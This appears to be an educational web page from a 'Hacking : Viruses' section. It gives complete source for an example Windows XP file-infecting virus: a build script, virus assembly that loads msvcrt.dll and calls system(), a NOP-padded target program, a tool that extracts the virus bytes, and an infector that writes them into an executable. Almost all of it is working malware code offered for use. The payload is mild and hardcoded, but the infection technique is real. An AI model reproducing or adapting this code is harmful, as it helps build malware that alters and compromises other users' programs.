Path: Hacking : Viruses :

Virus Page Computer Virus Understanding

An example virus used to understand how computer viruses work.
This example was developed for microsoft windows xp. A real virus
might infect explorer.exe and have a token in the virus machine code used
to infect other exe files using file input and output in the virus.


build.bat - build and test the virus


del *.obj
del infect.exe
del get_code.exe
del virus.exe
del hello.exe
del virus.dat

cl /w infect.cpp
cl /w get_code.cpp

nasm -fwin32 virus.asm -o virus.obj
nasm -fwin32 hello.asm -o hello.obj

alink -c -oPE virus -entry main win32.lib
alink -c -oPE hello -entry main win32.lib

get_code virus.exe virus.dat

hello.exe

infect virus.dat hello.exe

hello.exe



; virus.asm - assembly language for the virus (it knows the address of
; LoadLibrary for this to work
;
[BITS 32]
[extern MessageBoxA]
[extern LoadLibraryA]
[extern GetProcAddress]
[extern FreeLibrary]
[extern ExitProcess]

[segment .text]

[global main]

main:
	push ebp
	mov ebp,esp
	jmp .L1
	db '--START--',0

.L1:	
	mov ebp,esp
	sub esp,32
	mov [ebp+0],byte 'm'
	mov [ebp+1],byte 's'
	mov [ebp+2],byte 'v'
	mov [ebp+3],byte 'c'
	mov [ebp+4],byte 'r'
	mov [ebp+5],byte 't'
	mov [ebp+6],byte '.'
	mov [ebp+7],byte 'd'
	mov [ebp+8],byte 'l'
	mov [ebp+9],byte 'l'
	mov [ebp+10],byte 0

	push dword 0
	push dword ebp
	push dword ebp
	push dword 0
	;mov edx,MessageBoxA
	mov edx,0X00403006
	call edx
	add esp,16

	push ebp
	;mov edx,LoadLibraryA
	mov edx,0X00403012
	call edx
	add esp,4

	mov [ebp+16],eax

	mov [ebp+0],byte 's'
	mov [ebp+1],byte 'y'
	mov [ebp+2],byte 's'
	mov [ebp+3],byte 't'
	mov [ebp+4],byte 'e'
	mov [ebp+5],byte 'm'
	mov [ebp+6],byte 0

	push ebp
	push eax
	;mov edx,GetProcAddress
	mov edx,0x00403018
	call edx
	add esp,8

        mov [ebp+20],eax

	mov [ebp+0],byte 's'
	mov [ebp+1],byte 't'
	mov [ebp+2],byte 'a'
	mov [ebp+3],byte 'r'
	mov [ebp+4],byte 't'
	mov [ebp+5],byte 0

	push ebp
	call eax
	add esp,4

	push eax
	;mov edx,FreeLibrary
	mov edx,0x0040301E
	call edx
	add esp,4

	
	;push 0
	;mov edx,ExitProcess
	;call edx
	;add esp,4

	leave
	ret

	db '--END--',0

	mov eax,0
	leave
	ret

[segment .data]


; hello.asm - sample program to infect

[BITS 32]
[extern MessageBoxA]
[extern LoadLibraryA]
[extern GetProcAddress]
[extern FreeLibrary]
[extern ExitProcess]
[extern wsprintfA]

[segment .text]
[global main]

main:
   push ebp
   mov ebp,esp
   jmp L1
   db '--START--',0
L1:

   call popup

   push 0
   mov edx,ExitProcess
   call edx
   add esp,4

   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop
   nop

   mov eax,0

   leave
   ret

[segment .data]

popup:
	push ebp
	mov ebp,esp
	sub esp,100


	push dword MessageBoxA
	push message_box
	push ebp
	call wsprintfA
	add esp,12

	push dword 0 ; OK button
	push dword ebp
	push dword ebp
	push dword 0
	call MessageBoxA
	add esp,16

	push dword LoadLibraryA
	push load_library
	push ebp
	call wsprintfA
	add esp,12

	push dword 0 ; OK button
	push dword ebp
	push dword ebp
	push dword 0
	call MessageBoxA
	add esp,16

	push dword GetProcAddress
	push get_proc_address
	push ebp
	call wsprintfA
	add esp,12


	push dword 0 ; OK button
	push dword ebp
	push dword ebp
	push dword 0
	call MessageBoxA
	add esp,16

	push dword FreeLibrary
	push free_library
	push ebp
	call wsprintfA
	add esp,12


	push dword 0 ; OK button
	push dword ebp
	push dword ebp
	push dword 0
	call MessageBoxA
	add esp,16

	push dword 0 ; OK button
	push dword message1
	push dword message1
	push dword 0
	call MessageBoxA
	leave
	ret

message1: db 'Hello, World!',0
msvcrt: dd 0
function: dd 0
proc_name: db 'system',0
dir: db 'start dir /w',0
string1: db 'DEBUG...',0
title1: db 'DEBUG...',0
msvcrt_dll: db 'msvcrt.dll',0
load_library: db 'LoadLibraryA == 0x%p',0
get_proc_address: db 'GetProcAddress == 0x%p',0
free_library: db 'FreeLibrary == 0x%p',0
message_box: db 'MessageBoxA == 0x%p',0



//get_code.cpp - use this program get the machine code bytes for the virus.


#include <iostream>
#include <fstream>
#include <vector>
#include <cstring>

using namespace std;

typedef vector< unsigned char > char_vector_type;

size_t find_code(char_vector_type & code, const char * tag)
{
   size_t index = 0; 
   bool found;
   size_t sz = strlen(tag);
   for(size_t i = 0; i < code.size(); i++) {
      found = false;
      for(size_t j = 0; j < sz; j++) {
         if(code[i+j] == tag[j]) {
            if(index == 0) {
               index = i+j;
            }
            found = true;
         }
         else {
            found = false;
            break;
         }
      }
      if(found) {
         break;
      }
      index = 0;
   }
   return index;
}

int 
main(int argc, char ** argv, char ** envp)
{
   int ret = 0;
   char_vector_type code;
   const char * pname;
   const char * vname;

   if(argc == 3) {
      pname = argv[1];
      vname = argv[2];
   }
   else {
      cerr << "usage: " << argv[0] << "  " << endl;
      exit(1);
   }

   ifstream fin(pname, ios::binary | ios::in);

   if(fin) {
      unsigned char ch;
      ch = fin.get();

      while(fin) {
         code.push_back(ch);
         ch = fin.get();
      }

      fin.close();

      size_t start = find_code(code, "--START--");
      size_t end = find_code(code, "--END--");

      ofstream fout(vname, ios::out | ios::binary);
      if(fout) {
         for(size_t i = start+10; i < end; i++) {
            ch = code[i];
            fout << ch << flush;
            cout << (unsigned int)ch << endl;
         }
         fout.close();
      }
   }

   return ret;
}


// infect.cpp - infect an exe file with the virus
#include 
#include 

using namespace std;

//#define MAIN_ADDR (1093 + 10)
#define MAIN_ADDR (1029 + 10)
//#define MAIN_ADDR (1125 + 10)
//#define MAIN_SIZE 2
//#define MAIN_SIZE (1068 - 1045)
//#define MAIN_SIZE (1105 - 1045)
//#define MAIN_SIZE 16
#define NOP 144

int main(int argc, char ** argv, char ** envp)
{
   int ret = 0;
   const char * pname;
   const char * vname;

   if(argc != 3) {
      cerr << "usage: " << argv[0] << "  " << endl;
      exit(1);
   }
   else {
      vname = argv[1];
      pname = argv[2];
   }

   fstream fout(pname, ios::in | ios::out | ios::binary);

   unsigned char ch;
   size_t count = 0U;

   if(fout.is_open()) {
      fout.seekg(MAIN_ADDR, ios::beg);
      ifstream fin(vname, ios::in | ios::binary);

      count = 0U;

      ch = fin.get();
      while(fin) {
         count++;
         fout << ch;
         ch = fin.get();
      }

      fout.flush();
      fout.close();

      fin.close();

      cout << "file successfully infected..." << endl;
   }
   else {
      cerr << "unable to open input file: " << pname << endl;
      exit(1);
   }

   return ret;
}